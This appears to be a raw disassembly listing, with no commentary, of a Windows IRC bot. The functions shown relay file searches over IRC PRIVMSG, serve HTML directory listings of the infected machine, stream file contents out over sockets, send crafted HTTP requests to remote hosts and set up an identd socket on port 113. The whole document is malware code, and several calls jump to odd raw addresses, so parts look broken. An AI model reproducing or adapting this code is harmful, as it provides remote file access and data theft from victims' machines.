		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A17
		pop	ecx
		lea	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_41C], 1
		or	[ebp+var_430], 0FFFFFFFFh
		jmp	short loc_414FE1
; ---------------------------------------------------------------------------


loc_414FD1:				; CODE XREF: sub_414D5E+214j
		push	[ebp+arg_0]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	loc_41511D
; ---------------------------------------------------------------------------


loc_414FE1:				; CODE XREF: sub_414D5E+271j
		jmp	short loc_41504A
; ---------------------------------------------------------------------------


loc_414FE3:				; CODE XREF: sub_414D5E+20Ej
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	near ptr 28713A9h
		nop
		mov	[ebp+var_8D0], eax
		cmp	[ebp+var_8D0], 0FFFFFFFFh
		jz	short loc_41504A
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		and	[ebp+var_41C], 0
		push	0
		push	[ebp+var_8D0]
		nop
		call	near ptr 2871072h
		mov	[ebp+var_430], eax
		push	[ebp+var_8D0]
		nop
		call	near ptr 2790578h


loc_41504A:				; CODE XREF: sub_414D5E:loc_414FE1j
					; sub_414D5E+2AEj
		push	[ebp+arg_10]
		push	offset unk_44BB68
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	3
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_42C], eax
		mov	eax, [ebp+var_42C]
		imul	eax, 234h
		mov	ecx, [ebp+arg_10]
		mov	dword_45461C[eax], ecx
		lea	eax, [ebp+var_310]
		push	eax
		push	0
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset sub_414B70
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_42C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_42C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_4150EA


loc_4150D5:				; CODE XREF: sub_414D5E+388j
		cmp	dword ptr [ebp-418h], 0
		jnz	short loc_4150E8
		push	5
		call	near ptr 27B048Ah
		nop
		jmp	short loc_4150D5
; ---------------------------------------------------------------------------


loc_4150E8:				; CODE XREF: sub_414D5E+37Ej
		jmp	short loc_41511B
; ---------------------------------------------------------------------------


loc_4150EA:				; CODE XREF: sub_414D5E+375j
		push	[ebp+arg_0]
		call	dword_4E1798	; closesocket
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44BB9C
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_41511B:				; CODE XREF: sub_414D5E:loc_4150E8j
		xor	eax, eax


loc_41511D:				; CODE XREF: sub_414D5E+1D5j
					; sub_414D5E+27Ej
		pop	esi
		leave
		retn
sub_414D5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415120	proc near		; CODE XREF: sub_4021E5+50A6p
					; sub_414B70+1C0p

var_5B4		= dword	ptr -5B4h
var_5B0		= dword	ptr -5B0h
var_5AC		= dword	ptr -5ACh
var_5A8		= byte ptr -5A8h
var_5A0		= word ptr -5A0h
var_59E		= word ptr -59Eh
var_59A		= word ptr -59Ah
var_598		= word ptr -598h
var_596		= word ptr -596h
var_590		= byte ptr -590h
var_390		= dword	ptr -390h
var_37C		= byte ptr -37Ch
var_370		= dword	ptr -370h
var_364		= byte ptr -364h
var_250		= byte ptr -250h
var_228		= byte ptr -228h
var_124		= byte ptr -124h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 5B4h
		and	[ebp+var_1C], 0
		and	[ebp+var_18], 0
		mov	[ebp+var_8], 0E6h
		mov	[ebp+var_C], 96h
		mov	[ebp+var_10], 3Ch
		mov	[ebp+var_4], 1Eh
		push	104h
		push	0
		lea	eax, [ebp+var_228]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	offset asc_44BBD4 ; "\n"
		push	[ebp+arg_0]
		call	sub_4227D0
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_41519C
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 14h
		jmp	loc_4152B8
; ---------------------------------------------------------------------------


loc_41519C:				; CODE XREF: sub_415120+56j
		cmp	[ebp+arg_C], 0
		jz	loc_41529C
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax-1], 0
		push	[ebp+arg_0]
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		push	[ebp+arg_0]
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx+eax], 2Ah
		push	[ebp+var_10]
		push	[ebp+var_C]


loc_415245:				; DATA XREF: .XComp0:00452C08o
					; .XComp0:00452C10o
		push	[ebp+var_8]
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 18h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_4152B8
; ---------------------------------------------------------------------------


loc_41529C:				; CODE XREF: sub_415120+80j
		push	[ebp+arg_0]
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_4152B8:				; CODE XREF: sub_415120+77j
					; sub_415120+17Aj
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		cmp	[ebp+arg_C], 0
		jz	loc_41538D
		push	[ebp+arg_C]
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 2
		jbe	loc_41538D
		push	[ebp+arg_C]
		call	sub_41EBD0
		pop	ecx
		sub	eax, 3
		mov	[ebp+var_5AC], eax
		jmp	short loc_415315
; ---------------------------------------------------------------------------


loc_415308:				; CODE XREF: sub_415120:loc_415331j
		mov	eax, [ebp+var_5AC]
		dec	eax
		mov	[ebp+var_5AC], eax


loc_415315:				; CODE XREF: sub_415120+1E6j
		cmp	[ebp+var_5AC], 0
		jz	short loc_415333
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_5AC]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jnz	short loc_415331
		jmp	short loc_415333
; ---------------------------------------------------------------------------


loc_415331:				; CODE XREF: sub_415120+20Dj
		jmp	short loc_415308
; ---------------------------------------------------------------------------


loc_415333:				; CODE XREF: sub_415120+1FCj
					; sub_415120+20Fj
		mov	eax, [ebp+var_5AC]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_228]
		push	eax


loc_415345:				; DATA XREF: .XComp0:00452E70o
					; .XComp0:004532C4o
		call	sub_421470
		add	esp, 0Ch
		lea	eax, [ebp+var_228]
		push	eax


loc_415354:				; DATA XREF: .XComp0:0045305Co
					; .XComp0:00453104o ...
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send


loc_41538D:				; CODE XREF: sub_415120+1BCj
					; sub_415120+1CEj
		lea	eax, [ebp+var_390]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		mov	[ebp+var_14], eax


loc_4153A0:				; CODE XREF: sub_415120:loc_41586Cj
		lea	eax, [ebp+var_390]
		push	eax
		push	[ebp+var_14]
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	loc_415871
		cmp	[ebp+var_390], 0
		jz	loc_41586C
		push	offset a__	; ".."
		lea	eax, [ebp+var_364]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41586C
		push	offset a__0	; "."
		lea	eax, [ebp+var_364]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41586C
		lea	eax, [ebp+var_5A8]
		push	eax
		lea	eax, [ebp+var_37C]
		push	eax
		call	near ptr 28806ADh
		nop
		lea	eax, [ebp+var_5A0]
		push	eax
		lea	eax, [ebp+var_5A8]
		push	eax
		call	near ptr 2880000h
		nop
		movzx	eax, [ebp+var_598]
		cmp	eax, 0Ch
		jle	short loc_41543B
		mov	[ebp+var_5B0], offset aPm_0 ; "PM"
		jmp	short loc_415445
; ---------------------------------------------------------------------------


loc_41543B:				; CODE XREF: sub_415120+30Dj
		mov	[ebp+var_5B0], offset aAm ; "AM"


loc_415445:				; CODE XREF: sub_415120+319j
		movzx	eax, [ebp+var_598]
		cmp	eax, 0Ch
		jle	short loc_415463
		movzx	eax, [ebp+var_598]
		sub	eax, 0Ch
		mov	[ebp+var_5B4], eax
		jmp	short loc_415470
; ---------------------------------------------------------------------------


loc_415463:				; CODE XREF: sub_415120+32Fj
		movzx	eax, [ebp+var_598]
		mov	[ebp+var_5B4], eax


loc_415470:				; CODE XREF: sub_415120+341j
		push	[ebp+var_5B0]
		movzx	eax, [ebp+var_596]
		push	eax
		push	[ebp+var_5B4]
		movzx	eax, [ebp+var_5A0]
		push	eax
		movzx	eax, [ebp+var_59A]
		push	eax
		movzx	eax, [ebp+var_59E]
		push	eax
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_4219C0
		add	esp, 20h
		mov	eax, [ebp+var_390]
		and	eax, 10h
		test	eax, eax
		jz	loc_41568E
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_41551D
		lea	eax, [ebp+var_364]
		push	eax
		push	offset aS_23	; "<%s>"
		push	106h
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_421B90
		add	esp, 10h
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 18h
		jmp	loc_415689
; ---------------------------------------------------------------------------


loc_41551D:				; CODE XREF: sub_415120+3ACj
		cmp	[ebp+arg_C], 0
		jz	loc_415642
		push	[ebp+var_8]
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		lea	eax, [ebp+var_364]
		push	eax
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s/"
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 14h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		lea	eax, [ebp+var_364]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	eax, [ebp+var_4]
		jbe	short loc_4155DA
		lea	eax, [ebp+var_364]
		push	eax
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_4155FA
; ---------------------------------------------------------------------------


loc_4155DA:				; CODE XREF: sub_415120+496j
		lea	eax, [ebp+var_364]
		push	eax
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_4155FA:				; CODE XREF: sub_415120+4B8j
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		push	[ebp+var_10]
		lea	eax, [ebp+var_250]
		push	eax
		push	[ebp+var_C]
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 18h
		jmp	short loc_415689
; ---------------------------------------------------------------------------


loc_415642:				; CODE XREF: sub_415120+401j
		lea	eax, [ebp+var_364]
		push	eax
		push	offset aS_24	; "<%s>"
		push	106h
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_421B90
		add	esp, 10h
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 14h


loc_415689:				; CODE XREF: sub_415120+3F8j
					; sub_415120+520j
		jmp	loc_41583B
; ---------------------------------------------------------------------------


loc_41568E:				; CODE XREF: sub_415120+39Bj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4156DC
		mov	eax, [ebp+var_370]
		xor	ecx, ecx
		push	ecx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 1Ch
		jmp	loc_41583B
; ---------------------------------------------------------------------------


loc_4156DC:				; CODE XREF: sub_415120+579j
		cmp	[ebp+arg_C], 0
		jz	loc_41580E
		push	[ebp+var_8]
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		lea	eax, [ebp+var_364]
		push	eax
		push	[ebp+arg_C]
		push	offset aSS_3	; "%s%s"
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 14h
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		lea	eax, [ebp+var_364]
		push	eax
		call	sub_41EBD0
		pop	ecx
		mov	ecx, [ebp+var_4]
		inc	ecx
		cmp	eax, ecx
		jbe	short loc_41579C
		lea	eax, [ebp+var_364]
		push	eax
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_4157BC
; ---------------------------------------------------------------------------


loc_41579C:				; CODE XREF: sub_415120+658j
		lea	eax, [ebp+var_364]
		push	eax
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_4157BC:				; CODE XREF: sub_415120+67Aj
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		mov	eax, [ebp+var_370]
		shr	eax, 0Ah
		push	eax
		push	[ebp+var_10]
		lea	eax, [ebp+var_250]
		push	eax
		push	[ebp+var_C]
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	1FFh
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 1Ch
		jmp	short loc_41583B
; ---------------------------------------------------------------------------


loc_41580E:				; CODE XREF: sub_415120+5C0j
		push	[ebp+var_370]
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	200h
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_421B90
		add	esp, 18h


loc_41583B:				; CODE XREF: sub_415120:loc_415689j
					; sub_415120+5B7j ...
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		cmp	[ebp+arg_8], 0
		jz	short loc_41586C
		push	7D0h
		nop
		call	near ptr 27B048Ah


loc_41586C:				; CODE XREF: sub_415120+29Fj
					; sub_415120+2BAj ...
		jmp	loc_4153A0
; ---------------------------------------------------------------------------


loc_415871:				; CODE XREF: sub_415120+292j
		push	[ebp+var_14]
		nop
		call	near ptr 287171Bh
		cmp	[ebp+arg_8], 0
		jz	short loc_4158B5
		mov	eax, [ebp+var_18]
		cdq
		push	edx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_1C]
		cdq
		push	edx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		jmp	short loc_4158EA
; ---------------------------------------------------------------------------


loc_4158B5:				; CODE XREF: sub_415120+75Ej
		cmp	[ebp+arg_C], 0
		jz	short loc_4158D0
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_4158EA
; ---------------------------------------------------------------------------


loc_4158D0:				; CODE XREF: sub_415120+799j
		push	[ebp+var_18]
		push	[ebp+var_1C]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_4158EA:				; CODE XREF: sub_415120+793j
					; sub_415120+7AEj
		push	0
		lea	eax, [ebp+var_590]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_590]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E1750	; send
		xor	eax, eax
		leave
		retn
sub_415120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41590E	proc near		; CODE XREF: sub_414B70+1A1p

var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= byte ptr -410h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 418h
		mov	[ebp+var_4], 400h
		and	[ebp+var_414], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_4]
		nop
		call	near ptr 28713A9h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_41594B
		jmp	locret_415A15
; ---------------------------------------------------------------------------


loc_41594B:				; CODE XREF: sub_41590E+36j
		push	0
		push	[ebp+var_8]
		nop
		call	near ptr 2871072h
		mov	[ebp+var_C], eax


loc_415959:				; CODE XREF: sub_41590E+F3j
		cmp	[ebp+var_C], 0
		jz	loc_415A06
		push	400h
		push	0
		lea	eax, [ebp+var_410]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jbe	short loc_415987
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_415987:				; CODE XREF: sub_41590E+71j
		xor	eax, eax
		sub	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	2
		push	0
		push	[ebp+var_10]
		push	[ebp+var_8]
		nop
		call	near ptr 28A1045h
		push	0
		lea	eax, [ebp+var_414]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_410]
		push	eax
		push	[ebp+var_8]
		call	near ptr 2850000h
		nop
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_410]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0FFFFFFFFh
		jnz	short loc_4159F5
		call	dword_4E1694	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_4159EE
		jmp	short loc_415A06
; ---------------------------------------------------------------------------


loc_4159EE:				; CODE XREF: sub_41590E+DCj
		and	[ebp+var_418], 0


loc_4159F5:				; CODE XREF: sub_41590E+CFj
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_418]
		mov	[ebp+var_C], eax
		jmp	loc_415959
; ---------------------------------------------------------------------------


loc_415A06:				; CODE XREF: sub_41590E+4Fj
					; sub_41590E+DEj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short locret_415A15
		push	[ebp+var_8]
		nop
		call	near ptr 2790578h

locret_415A15:				; CODE XREF: sub_41590E+38j
					; sub_41590E+FCj
		leave
		retn
sub_41590E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A17	proc near		; CODE XREF: sub_414D5E+245p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415A28
; ---------------------------------------------------------------------------


loc_415A21:				; CODE XREF: sub_415A17:loc_415A4Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415A28:				; CODE XREF: sub_415A17+8j
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp+var_4], eax
		jnb	short loc_415A4F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_415A4D
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	byte ptr [eax],	2Fh


loc_415A4D:				; CODE XREF: sub_415A17+2Bj
		jmp	short loc_415A21
; ---------------------------------------------------------------------------


loc_415A4F:				; CODE XREF: sub_415A17+1Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415A17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A54	proc near		; CODE XREF: sub_4021E5+8B54p

var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= word ptr -4A0h
var_49E		= word ptr -49Eh
var_49C		= dword	ptr -49Ch
var_490		= byte ptr -490h
var_290		= byte ptr -290h
var_190		= byte ptr -190h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A8h
		lea	eax, [ebp+var_190]
		push	eax
		push	101h
		call	dword_4E1670	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_4A4], eax
		push	10h
		push	0
		lea	eax, [ebp+var_4A0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_4A0], 2
		push	[ebp+arg_14]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_49E], ax
		push	[ebp+arg_10]
		call	sub_40C670
		pop	ecx
		mov	[ebp+var_49C], eax
		push	10h
		lea	eax, [ebp+var_4A0]
		push	eax
		push	[ebp+var_4A4]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_415B70
		cmp	[ebp+arg_20], 0
		jz	short loc_415AEB
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_4A8], eax
		jmp	short loc_415AF5
; ---------------------------------------------------------------------------


loc_415AEB:				; CODE XREF: sub_415A54+8Aj
		mov	[ebp+var_4A8], offset dword_4E45A4


loc_415AF5:				; CODE XREF: sub_415A54+95j
		push	[ebp+arg_10]
		push	[ebp+var_4A8]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	100h
		lea	eax, [ebp+var_290]
		push	eax
		call	sub_421B90
		add	esp, 1Ch
		push	0
		lea	eax, [ebp+var_290]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_290]
		push	eax
		push	[ebp+var_4A4]
		call	dword_4E1750	; send
		push	100h
		push	0
		lea	eax, [ebp+var_290]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	0
		push	100h
		lea	eax, [ebp+var_290]
		push	eax
		push	[ebp+var_4A4]
		call	dword_4E1718	; recv


loc_415B70:				; CODE XREF: sub_415A54+80j
		push	[ebp+var_4A4]
		call	dword_4E1798	; closesocket
		call	dword_4E1658	; WSACleanup
		lea	eax, [ebp+var_290]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_C], 0
		jnz	short locret_415BB7
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h

locret_415BB7:				; CODE XREF: sub_415A54+147j
		leave
		retn
sub_415A54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BB9	proc near		; DATA XREF: sub_4016A7+536o
					; sub_4021E5+5610o

var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= word ptr -234h
var_232		= word ptr -232h
var_230		= dword	ptr -230h
var_224		= byte ptr -224h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_23C], eax
		and	[ebp+var_238], 0
		push	10h
		push	0
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_234], 2
		push	71h
		call	dword_4E1700	; ntohs
		mov	[ebp+var_232], ax
		and	[ebp+var_230], 0
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jz	loc_415D64
